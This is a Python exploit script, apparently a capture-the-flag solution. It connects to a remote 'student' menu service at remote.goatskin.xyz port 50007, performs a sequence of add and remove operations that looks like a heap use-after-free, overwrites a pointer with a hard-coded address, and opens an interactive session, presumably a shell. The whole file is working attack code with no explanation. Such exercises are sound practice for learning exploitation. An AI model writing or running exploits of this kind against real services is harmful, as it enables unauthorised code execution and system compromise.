import pwnbox

def main():
	pipe = pwnbox.pipe.SocketPipe("remote.goatskin.xyz", 50007)
	pipe.read_until('remove student\n')
	pipe.write('1\n')
	pipe.read_until('name?')
	pipe.write('0\n')
	pipe.read_until('remove student\n')
	pipe.write('1\n')
	pipe.read_until('name?')
	pipe.write('0\n')
	pipe.read_until('remove student\n')
	pipe.write('3\n')
	pipe.read_until('number?')
	pipe.write('0\n')
	pipe.read_until('remove student\n')
	pipe.write('3\n')
	pipe.read_until('number?')
	pipe.write('1\n')
	pipe.read_until('remove student\n')
	pipe.write('1\n')
	pipe.read_until('name?')
	pipe.write('16\n')
	pipe.write('\xa6\x08\x40\x00\x00\x00\x00\x00\xa6\x08\x40\x00\x00\x00\x00\x00\n')
	pipe.read_until('remove student\n')
	pipe.write('2\n')
	pipe.read_until('number?')
	pipe.write('0\n')
	pipe.interact()
	pipe.close()

if __name__ == "__main__":
	main()
